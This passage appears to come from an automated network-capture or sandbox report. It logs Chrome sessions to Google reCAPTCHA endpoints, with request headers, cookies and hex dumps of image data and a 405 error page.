6e 34 61 68 79 4b 42 64 6d 61 50 70 2d 6c 71 6f 31 47 5f 5f 62 37 30 41 6e 6e 75 50 44 37 72 45 41 34 77 71 4a 54 57 78 6f 6d 53 4b 64 56 Data Ascii: H8Zq8-pmZ1wIlyQ6fX_gcv0aypGgwMi4EA4QEV8p1kJNWHkbqKTYA5_Cn2rqSY4kkDShgmI2ViPt3r1qFpkcBkuJP2Vq8BQydvU2cE7qn_OALFrOeQkJ4cF9b5CRCLOzQzWOWtJ1vkDaJiJVLkVXyhXIJrZEO2JoAJHJY0rstdZxoNwIwmNXaQaPFbaqKDr0W3Kw_r4iw5F33pNnun4ahyKBdmaPp-lqo1G__b70AnnuPD7rEA4wqJTWxomSKdV
2024-03-15 12:57:58 UTC	644	IN	Data Raw: 69 56 43 4d 42 78 66 33 38 57 77 56 58 63 34 5f 7a 51 75 59 62 4f 45 74 6e 32 44 66 4e 62 51 55 50 37 73 66 6a 39 2d 70 36 2d 62 62 4a 36 76 70 4e 38 58 44 62 4d 4a 53 5f 45 6d 76 70 58 7a 4a 53 6e 6b 61 73 55 66 59 71 4c 6e 47 4b 53 6b 30 57 37 35 35 37 36 64 64 34 61 6a 45 55 32 45 72 7a 58 69 52 68 31 50 66 4b 59 4d 41 75 64 79 64 4b 76 66 43 32 71 76 6e 62 64 5a 71 78 61 43 4e 34 73 72 47 30 6e 43 68 2d 30 71 56 4e 31 4b 51 37 32 37 38 63 51 30 32 53 6b 69 71 4a 42 34 70 45 35 67 49 54 48 52 51 35 41 55 58 6e 79 34 6e 4a 7a 68 55 33 55 71 58 7a 61 71 31 68 62 6b 61 58 46 31 6e 44 6b 59 75 71 4a 30 64 4b 67 6f 33 45 45 33 74 37 44 6a 61 69 69 34 4f 36 4b 58 58 58 55 4d 72 43 74 30 52 56 69 63 59 71 39 79 46 6b 73 33 75 34 31 31 54 6b 72 49 6b 6b 46 41 Data Ascii: iVCMBxf38WwVXc4_zQuYbOEtn2DfNbQUP7sfj9-p6-bbJ6vpN8XDbMJS_EmvpXzJSnkasUfYqLnGKSk0W75576dd4ajEU2ErzXiRh1PfKYMAudydKvfC2qvnbdZqxaCN4srG0nCh-0qVN1KQ7278cQ02SkiqJB4pE5gITHRQ5AUXny4nJzhU3UqXzaq1hbkaXF1nDkYuqJ0dKgo3EE3t7Djaii4O6KXXXUMrCt0RVicYq9yFks3u411TkrIkkFA
2024-03-15 12:57:58 UTC	1252	IN	Data Raw: 64 62 38 0d 0a 4a 70 72 79 79 41 56 45 53 37 64 67 35 4e 77 37 6c 4f 31 66 56 67 4c 70 6c 61 5a 66 39 73 4e 45 73 46 79 4b 33 4e 79 36 54 6c 79 67 55 32 68 68 31 4c 78 70 51 41 58 44 38 36 64 4f 76 6b 37 30 78 63 63 72 39 66 64 76 77 30 75 54 30 43 45 63 66 68 67 5f 30 68 4c 79 47 4a 31 36 67 62 42 66 73 42 4c 4c 63 6f 70 4d 38 42 46 6d 69 59 63 2d 4d 39 31 51 42 30 49 6c 61 4d 74 61 67 4b 6f 7a 6e 4f 70 45 6f 36 77 38 74 6e 48 76 38 7a 41 45 34 37 47 48 4e 39 36 66 70 50 6f 46 75 68 67 6d 72 6f 55 77 6e 76 53 6a 56 42 34 42 33 33 64 48 47 6f 53 79 59 6d 73 45 76 55 66 64 63 31 50 4c 79 73 77 5a 7a 39 79 4c 41 73 49 33 77 75 61 71 74 42 64 67 73 59 6e 78 34 78 65 76 59 46 68 49 6e 70 55 32 78 70 64 49 58 42 51 7a 6b 55 4f 4c 63 53 2d 54 33 53 30 30 64 49 Data Ascii: db8JpryyAVES7dg5Nw7lO1fVgLplaZf9sNEsFyK3Ny6TlygU2hh1LxpQAXD86dOvk70xccr9fdvw0uT0CEcfhg_0hLyGJ16gbBfsBLLcopM8BFmiYc-M91QB0IlaMtagKoznOpEo6w8tnHv8zAE47GHN96fpPoFuhgmroUwnvSjVB4B33dHGoSyYmsEvUfdc1PLyswZz9yLAsI3wuaqtBdgsYnx4xevYFhInpU2xpdIXBQzkUOLcS-T3S00dI
2024-03-15 12:57:58 UTC	1252	IN	Data Raw: 41 59 73 54 66 46 42 73 6a 78 75 65 7a 32 4a 67 6c 64 68 44 31 5f 33 57 51 79 42 75 63 4c 31 70 59 6e 59 6a 39 32 4c 46 74 48 75 62 4a 75 5f 69 65 70 47 68 56 59 32 4c 71 41 69 42 36 45 38 6d 70 71 52 52 38 5f 57 70 49 77 72 58 77 2d 5a 45 35 48 67 74 45 77 69 66 4d 69 2d 43 7a 71 70 32 71 77 7a 6b 7a 4a 39 4f 55 47 45 6c 6e 79 33 41 77 73 70 67 37 30 30 79 51 71 72 5a 57 79 67 55 42 58 6e 6a 54 54 4c 76 53 7a 4a 6e 52 66 31 30 5f 58 48 55 4a 79 37 7a 45 51 43 36 5a 4f 2d 4e 75 45 30 56 4c 51 7a 32 67 5a 79 79 6a 77 6d 51 6c 55 71 45 53 61 58 52 37 77 6a 74 45 57 56 76 47 48 30 71 76 30 50 61 48 53 4b 63 56 38 58 4c 65 36 37 57 37 2d 55 49 4f 6f 64 52 41 33 75 79 49 4a 4e 7a 45 74 62 6e 71 37 79 56 36 53 58 33 43 45 4d 58 48 54 49 6a 4b 45 41 4d 50 4c 55 Data Ascii: AYsTfFBsjxuez2JgldhD1_3WQyBucL1pYnYj92LFtHubJu_iepGhVY2LqAiB6E8mpqRR8_WpIwrXw-ZE5HgtEwifMi-Czqp2qwzkzJ9OUGElny3Awspg700yQqrZWygUBXnjTTLvSzJnRf10_XHUJy7zEQC6ZO-NuE0VLQz2gZyyjwmQlUqESaXR7wjtEWVvGH0qv0PaHSKcV8XLe67W7-UIOodRA3uyIJNzEtbnq7yV6SX3CEMXHTIjKEAMPLU
2024-03-15 12:57:58 UTC	1015	IN	Data Raw: 66 6a 67 52 6e 6a 33 5a 59 77 62 74 66 36 45 6f 39 31 56 65 35 31 69 35 6e 52 4c 74 44 62 42 31 6c 36 43 65 53 32 32 74 6c 53 36 38 79 61 41 44 4c 57 58 32 4f 4a 74 51 6d 6f 51 49 53 69 67 34 47 4e 65 4a 47 4f 4a 75 32 33 5a 66 50 38 55 6b 50 7a 6e 35 36 66 36 36 67 59 61 79 54 44 42 4d 58 5a 47 36 44 33 44 5f 2d 50 44 76 71 36 32 69 4b 4e 64 39 74 53 4b 54 4e 54 69 4d 37 68 5a 47 6a 31 4a 67 59 75 43 65 6c 72 4e 56 72 6f 68 6f 6d 4d 2d 55 63 74 66 79 30 7a 72 32 51 6c 6b 61 49 49 61 62 4b 41 58 6c 70 47 61 2d 64 56 4d 39 39 6b 4b 71 50 6b 50 66 4e 74 57 71 63 5a 79 4a 5a 74 73 37 73 6a 73 33 54 59 49 6d 77 6b 74 77 64 41 54 67 72 59 43 57 33 7a 63 68 53 69 59 6d 76 39 7a 45 6e 70 39 5a 79 78 4d 49 53 46 64 35 4a 65 36 32 65 6f 57 71 32 51 73 58 73 51 53 Data Ascii: fjgRnj3ZYwbtf6Eo91Ve51i5nRLtDbB1l6CeS22tlS68yaADLWX2OJtQmoQISig4GNeJGOJu23ZfP8UkPzn56f66gYayTDBMXZG6D3D_-PDvq62iKNd9tSKTNTiM7hZGj1JgYuCelrNVrohomM-Uctfy0zr2QlkaIIabKAXlpGa-dVM99kKqPkPfNtWqcZyJZts7sjs3TYImwktwdATgrYCW3zchSiYmv9zEnp9ZyxMISFd5Je62eoWq2QsXsQS
2024-03-15 12:57:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	49746	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:58 UTC	1428	OUT	GET /recaptcha/api2/payload?p=06AFcWeA5e-va39F3VfbbSi0oottIg7ALlUDZb-nWwVX1-unQSuzFdKkA8yRqHnNqEBBnJoUfel3lJWlGL6UqRrnl-XaGVrxZtdN4xwznjD5t4FYX8Qa5d8b7bqYbtsJzJaNpYo6dV0hAJxLq1umrkqdrEO38PvgeW_BjrVXuD7_yWHYVbGHdeIkpvf7X_IAdl8hzhcTFabA6ze8v_n5WmmZcTZRtqU1EYWA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=2 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:57:58 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Fri, 15 Mar 2024 12:57:58 GMT Date: Fri, 15 Mar 2024 12:57:58 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:57:58 UTC	833	IN	Data Raw: 38 39 41 35 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 c2 01 c2 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 89A5JFIFC!"$"$C"}!1AQa"q
2024-03-15 12:57:58 UTC	1252	IN	Data Raw: ad bd 92 ad fc 17 0d 71 9f bd 9e 07 e1 44 a9 c5 17 1a 8d a2 be 8e b7 b7 cd 13 5c 24 c9 13 1f 99 99 41 af 40 d0 ad f4 2d 28 8b a0 64 67 c7 fa c9 21 ce da c4 b9 b3 f0 f4 1a 7b dd 41 aa 4a 8e 8b f2 46 dc 66 b8 bb 9f 11 dd 9b 79 20 86 77 09 92 0e 4f 51 52 a0 26 e5 7d 4f 5a f1 1f c4 0b 1d 22 18 df 4f bd 86 ee 46 ea 8d 17 4a f2 ff 00 1b fc 40 d5 35 b6 2b 2c a2 38 3f e7 92 70 0d 72 57 57 3b 9c b1 62 58 8e 73 59 b7 97 11 2c 5f bc 70 a3 3d 4d 35 04 b7 2b 9d 58 96 ee 76 9b f8 be 5f 4a cf be d4 23 b3 8f 73 9c 93 f7 40 eb 59 77 5a b0 2d b6 13 9c 1e 4f ad 53 4b 6b ad 4e e9 04 4a 5d 8f 60 2a 9d 91 37 6c 82 f7 56 bd bb 66 50 4c 6b 9e 83 d2 ac 69 7a 6d e5 fb ac 29 0b 4b e6 7d d6 3d 0d 6a 7f c2 31 79 0b fe fe de 50 47 6d b5 da 5a de b2 58 c3 6d 0e 9c 22 11 01 b4 05 ea 7d Data Ascii: qD\$A@-(dg!{AJFfy wOQR&}OZ"OFJ@5+,8?prWW;bXsY,_p=M5+Xv_J#s@YwZ-OSKkNJ]`*7lVfPLkizm)K}=j1yPGmZXm"}
2024-03-15 12:57:58 UTC	1252	IN	Data Raw: 58 c5 02 2f 65 c1 35 e6 5e 29 f1 6a dc 87 44 8d 32 78 c8 5e 95 b2 d4 87 26 6e 78 7a c3 c1 b3 44 b1 dd 4e 6d ca 8c e7 18 ae 23 c6 ba 8e 95 06 ab 24 1a 49 dd 12 1c 6f ec d5 83 73 7d 23 b1 25 c8 ed c5 64 5e 3f 2d cf 5a b5 17 d4 8b c4 b1 79 7b 24 df 7d b8 f4 ac b7 9c 02 d5 15 f5 d0 8a 02 cc 71 b4 64 fa d7 37 73 ab cb 21 60 06 c2 4e 32 69 bb 13 cd 7d 0d 8d 4a fd 22 81 98 38 2c 3e e8 15 cc 6a 17 57 17 21 5d cf fc 04 54 bb 24 99 f6 ae 49 f5 f7 ad 4d 3f 46 32 a1 69 7c c0 07 4c 2f 5a c5 bb 68 cb 4a fb 14 7c 3d a6 47 a8 5f c5 1c d9 89 7b b6 0f 15 eb 7e 19 d3 bc 3f a6 3c 62 27 57 99 b8 2e 57 a5 71 31 dc 4b 6b 12 c4 a8 c8 17 81 b6 31 cf e3 56 22 d4 f5 15 91 1e 37 60 7d d6 b2 9c 5c 9e 8c da 0d 47 73 d5 26 bb d2 b9 87 69 71 dd 88 34 c8 65 d0 1a 41 1c 8a 89 9e f8 c7 35 Data Ascii: X/e5^)jD2x^&nxzDNm#$Ios}#%d^?-Zy{$}qd7s!`N2i}J"8,>jW!]T$IM?F2i\|L/ZhJ\|=G_{~?<b'W.Wq1Kk1V"7`}\Gs&iq4eA5
2024-03-15 12:57:58 UTC	1252	IN	Data Raw: 40 a3 94 87 e4 51 d0 83 da b1 6e 5d a5 94 bb 1c b1 ef 5a 28 36 45 f5 d8 d2 f1 37 8a 35 4d 6e 57 6b 99 d8 2b 1c ed 07 00 7b 57 37 2b 9d 8d 93 4f b9 91 53 ef 1a c9 d4 35 18 ad 91 9d a4 51 81 c6 4d 68 92 40 dd c7 4e f8 fe 21 58 3a c6 af 1c 39 8a 26 0f 28 3c fb 56 5d f6 b3 77 78 36 90 63 50 7f 87 bd 54 86 da e2 79 41 48 dd c9 6c e4 0a 87 21 f2 dc 4b 8b 89 ee e5 67 df 8c f6 a6 8b 09 89 cc 90 b7 d6 ba 2f 0f e9 b3 5b dd a5 cc fa 7b 4e ab ce d3 c7 e9 5d 6c de 20 b1 31 f9 72 68 85 71 c6 42 e3 1f a5 61 2a 9a 96 a9 5d 1c 5e 91 76 9a 74 64 7d 9e 36 f9 81 cb 0e 6b 7a 1f 16 29 2b 19 b5 8d 14 9e 4a ad 3d b4 fd 13 53 62 45 c3 da b3 76 29 d2 b5 ed fc 07 63 3d b0 fb 0e a9 1d cb e3 a0 18 c5 43 69 ea cb 8c 5c 76 34 34 1d 4b c3 f3 c8 ad 79 71 10 1d d5 93 a5 6b 6b 1a e7 85 6d Data Ascii: @Qn]Z(6E75MnWk+{W7+OS5QMh@N!X:9&(<V]wx6cPTyAHl!Kg/[{N]l 1rhqBa*]^vtd}6kz)+J=SbEv)c=Ci\v44Kyqkkm
2024-03-15 12:57:58 UTC	1252	IN	Data Raw: ca e9 f0 e3 1e 62 7e 42 97 b4 1f b2 3c ad 2c a7 3c 08 98 f3 d8 54 83 4e b9 3d 21 63 f8 57 a8 7f 65 5b b1 c0 98 67 da 94 68 d6 cb d2 66 3e d4 9d 50 f6 7a 1e 5f fd 99 79 ff 00 3c 1e 8a f4 ef ec cb 6f ef b7 e7 45 1e d4 9f 64 7a b7 8e 3e 22 0b a9 1a d7 47 8f ca 84 70 d2 8e 09 af 34 bd bd 9a 79 19 e5 95 9d 89 e4 93 d6 a2 96 40 88 40 aa 17 13 a2 21 24 85 3d 72 4f 15 d0 a2 85 29 2d 91 3c b2 8e 99 ac fb cb c8 e2 8e 46 69 02 e0 77 ae 77 c5 3a fb da a8 8a d1 d5 9d ba 91 ce 05 72 77 97 b7 77 c3 12 4d 21 f6 cd 4b 95 90 96 bb 9b 7a bf 88 99 e5 29 6b 86 01 7e f1 f5 ac cb 5b 2d 43 59 b9 db 1c 72 4a ec 71 81 cd 47 a7 59 27 da 23 f3 8b 04 27 e6 22 bd 7f c3 1a 87 87 74 ab 44 5b 2d ad 37 76 61 cd 61 52 af 29 bc 21 7d 8e 4f 4c f8 7f 22 2a cd a9 4d e5 6e fe 1c 56 9a 68 36 96 Data Ascii: b~B<,<TN=!cWe[ghf>Pz_y<oEdz>"Gp4y@@!$=rO)-<Fiww:rwwM!Kz)k~[-CYrJqGY'#'"tD[-7vaaR)!}OL"*MnVh6
2024-03-15 12:57:58 UTC	1252	IN	Data Raw: 9f c6 ba c3 e1 db 19 01 20 28 07 a6 2a 21 e1 68 32 1a 39 e4 53 ec 78 a8 b8 d4 4c 04 f0 7c b8 24 5d 80 3e b4 f8 fc 23 72 49 db 7a 71 f5 ad b1 a0 5c 83 88 af dc 0f 7a 46 d2 35 78 81 31 5e 2b 8e fb a8 b8 cc 17 f0 c6 a5 1b 9f 2a f4 fe 75 5a e3 44 d6 e1 fb b7 25 cf b1 ae 80 c1 ac c2 19 88 12 0e d5 5a 4b cd 4d 4f ef 6d 89 03 ae 29 5d f6 11 8b f6 5f 10 c0 a0 29 27 e8 6a 42 7c 46 23 c1 42 3d eb 69 35 37 51 fb c8 9c 13 d3 8a 9d 75 68 0a 80 dc 1f a5 3d 07 76 72 c5 b5 fc fd d7 a2 ba df ed 2b 6f f9 e8 94 51 74 17 39 ad 6f 5b 82 ce 3f 99 c1 62 38 00 e7 35 c4 6a 1a f5 ee a0 cd 11 3b 15 8f 01 6a ad 95 95 fe a7 70 16 04 79 5c 9e 9c 9a f5 2f 03 fc 39 8c 46 b7 5a ca e1 ba ac 7f e3 5a ca ad 8c e3 4c e0 34 3f 0c ea 9a b6 3c b8 24 24 ff 00 cb 42 38 c5 77 9a 5f c3 83 1c 61 ae Data Ascii: (!h29SxL\|$]>#rIzq\zF5x1^+uZD%ZKMOm)]_)'jB\|F#B=i57Quh=vr+oQt9o[?b85j;jpy\/9FZZL4?<$$B8w_a
2024-03-15 12:57:58 UTC	1252	IN	Data Raw: d4 cd 14 ae 6f db d9 d8 30 0d 1e a2 c3 f1 ab a9 a7 dd 17 1f 67 d4 9b 18 e3 06 b9 56 86 01 cc 57 2c 0f bd 0b 73 7d 6c 73 1d c3 90 3a 62 b1 71 35 52 49 1d cc 56 1a f6 d5 29 78 08 1c 73 53 8f f8 49 21 18 59 63 7c 7a d7 15 0f 89 f5 78 78 12 7e 0d 53 a7 8c 75 40 d8 25 3f 1a 8e 57 d8 b5 2d 37 3a e5 d4 3c 41 19 3b ad 51 86 39 c1 a6 9d 73 59 50 09 b0 24 7d 2b 9f 83 c5 da 83 70 4c 79 3e d5 71 3c 45 7f 22 e0 34 1f 8d 2e 5b 02 97 99 aa 7c 4b 70 13 f7 b6 12 01 f4 a6 1f 12 5b 1f bd 6b 29 f6 db 54 46 ad a8 34 44 18 a1 71 9e c4 52 c7 a8 dd af de d3 d1 bf 2a 2c 3e 62 d3 6b b6 44 ee 6b 49 00 1d 8a 55 69 b5 fd 34 92 3e c8 d9 ff 00 77 14 f6 d4 e7 2a 7f e2 59 91 ed 55 9b 51 52 df 3e 98 de f9 5c d3 4a e2 b9 19 d6 2c 73 ff 00 1e cb 45 4d fd a9 a7 77 d3 1b 3f ee 51 55 ca 4d 8e Data Ascii: o0gVW,s}ls:bq5RIV)xsSI!Yc\|zxx~Su@%?W-7:<A;Q9sYP$}+pLy>q<E"4.[\|Kp[k)TF4DqR,>bkDkIUi4>wYUQR>\J,sEMw?QUM
2024-03-15 12:57:58 UTC	1252	IN	Data Raw: db 22 63 d7 b5 0d ae db 29 00 02 c0 f6 1d a8 50 63 ba 25 d5 59 25 25 63 42 73 5c f4 ab 2a 31 c2 91 5b 4f ab c1 26 3c b4 c1 aa f2 06 b9 1f 2a f3 5b c1 5b 73 29 18 cc 66 62 30 4d 2a a4 e5 b1 b4 9a de 83 4c 2f f7 98 0f c2 ad 2e 9f 14 63 ae 5b e9 56 e4 ac 67 c8 73 d1 41 3e e1 b9 08 cd 6c e9 da 64 53 30 12 91 57 6d ed 15 ce 5d 09 c7 7a d0 b6 8a dc 26 42 92 6b 39 4b 42 a3 1b 13 5a 78 73 4d 65 05 df 35 a1 1f 87 f4 e8 f0 36 06 f4 aa f0 4c 11 42 ac 6c 45 5c 8e e8 8e 76 1a c9 cd 9a a8 a6 55 ba f0 f6 9f 26 73 18 1d b2 2a 84 9e 18 d3 89 e3 35 b0 fa 8c 6b 1b 02 8d 9e bd 2b 3e 7d 56 3e 9c ae 3b e2 84 d8 f9 11 97 37 87 6c 94 1d a5 85 65 5d e8 c9 08 63 14 e4 7b 1a d5 ba be 66 ce d6 35 97 3c ec d9 cb d5 22 1c 6c 65 4a 97 30 36 23 95 f0 0f 27 3d 6a 48 75 7d 46 2e 03 31 c7 Data Ascii: "c)Pc%Y%%cBs\1[O&<[[s)fb0ML/.c[VgsA>ldS0Wm]z&Bk9KBZxsMe56LBlE\vU&s5k+>}V>;7le]c{f5<"leJ06#'=jHu}F.1
2024-03-15 12:57:58 UTC	1252	IN	Data Raw: ce d3 5d 04 9a 7c 0b 90 84 b0 cf 5a a5 3d a3 8f b8 b9 fa d2 73 4d 02 8b 43 ed b5 64 e3 cc 23 f0 35 af 69 7b 65 20 c9 65 1f 53 5c a5 c5 b4 aa 7e ee 05 41 e4 ca 38 e4 01 51 62 b9 bb 9e 89 6d 3d 91 01 43 a7 4f 5a b5 00 b4 31 e4 3c 63 35 e6 4b f6 98 ce 51 cf e2 6a 41 7f 74 bc 33 b7 e0 6a 5c 59 77 47 a5 b2 c3 8c ab 29 fa 1a 82 4c 72 51 f9 af 3f 5d 52 70 36 ef 6f ce a5 8b 56 9c 1f 95 d8 fe 35 3c 8c 6e 48 eb 2e 1d cf 3b 8e 6a 84 a5 0b 7c e7 27 e9 59 a9 ab ca c4 03 27 e6 2a 53 7b 1b 30 dd 82 7d 45 52 41 74 4d 21 88 0e b5 4a e5 e0 42 06 d2 d9 ab a1 e1 60 33 8e 69 1e 05 7f bb b7 f1 15 48 97 a9 93 13 c5 23 63 69 15 b1 a7 5a c4 fb 72 83 9a 83 ec 0e 18 00 10 8f ad 5e b4 59 61 23 ee f1 ef 49 b0 48 d3 b7 d3 6d 9b 1f bb 19 ab 4f a3 db 71 b5 06 6a 1b 6b c5 51 89 19 73 57 Data Ascii: ]\|Z=sMCd#5i{e eS\~A8Qbm=COZ1<c5KQjAt3j\YwG)LrQ?]Rp6oV5<nH.;j\|'Y'*S{0}ERAtM!JB`3iH#ciZr^Ya#IHmOqjkQsW
2024-03-15 12:57:58 UTC	1252	IN	Data Raw: 8e 27 b5 e9 ed 5d 35 9e a5 6f 28 29 f2 a1 fe ef 4a b0 b1 47 38 c9 45 23 b7 02 a6 ea c3 e5 67 28 67 b1 9c 6d 64 d8 c3 b9 e9 4e 5b 6b 19 41 c4 ab bb d2 ba 19 b4 9b 49 9b e7 88 64 55 59 3c 35 6a c8 c4 02 bc f6 34 73 05 ad b9 cf cf a7 a7 54 91 08 fa d5 4f ec c5 27 e7 c1 3d ab 7e 7f 0f ec f9 96 42 07 60 0d 53 7d 26 f2 32 7c b9 37 7d 7b 55 73 12 d2 28 26 8b 1c b9 0a 48 39 ef 56 3f e1 1f 94 fd c2 ac 07 a5 4f 6d fd a7 14 81 52 df cd 62 70 00 1d 6b 61 6d 75 e8 d0 99 74 9b 8e 79 e1 4d 1c cc 6a 28 e6 a6 d0 e6 0d f7 0f 1d 6a bb 69 d7 08 70 13 f1 ae b4 8b d0 3f 7b 65 70 a4 f5 ca 1a 8d 92 56 eb 6c e0 7f bb 47 33 27 95 1c c2 5a 5e 2f 5c 30 ed 83 d2 a6 8e 3b a8 8e 59 5b 1e dc d6 eb 5a 4e c7 2b 03 8f c2 95 6d ee d1 b1 f6 67 23 af dd a2 e3 ba 32 51 d1 48 dd b8 55 a8 62 b5 Data Ascii: ']5o()JG8E#g(gmdN[kAIdUY<5j4sTO'=~B`S}&2\|7}{Us(&H9V?OmRbpkamutyMj(jip?{epVlG3'Z^/\0;Y[ZN+mg#2QHUb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.17	49747	142.250.80.36	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:58 UTC	797	OUT	GET /recaptcha/api2/replaceimage?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:57:59 UTC	473	IN	HTTP/1.1 405 Method Not Allowed Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Mar 2024 12:57:59 GMT Content-Type: text/html; charset=utf-8 Allow: POST X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:57:59 UTC	779	IN	Data Raw: 36 37 36 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 35 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 Data Ascii: 676<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 405 (Bad Request)!!1</title><style>*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;c
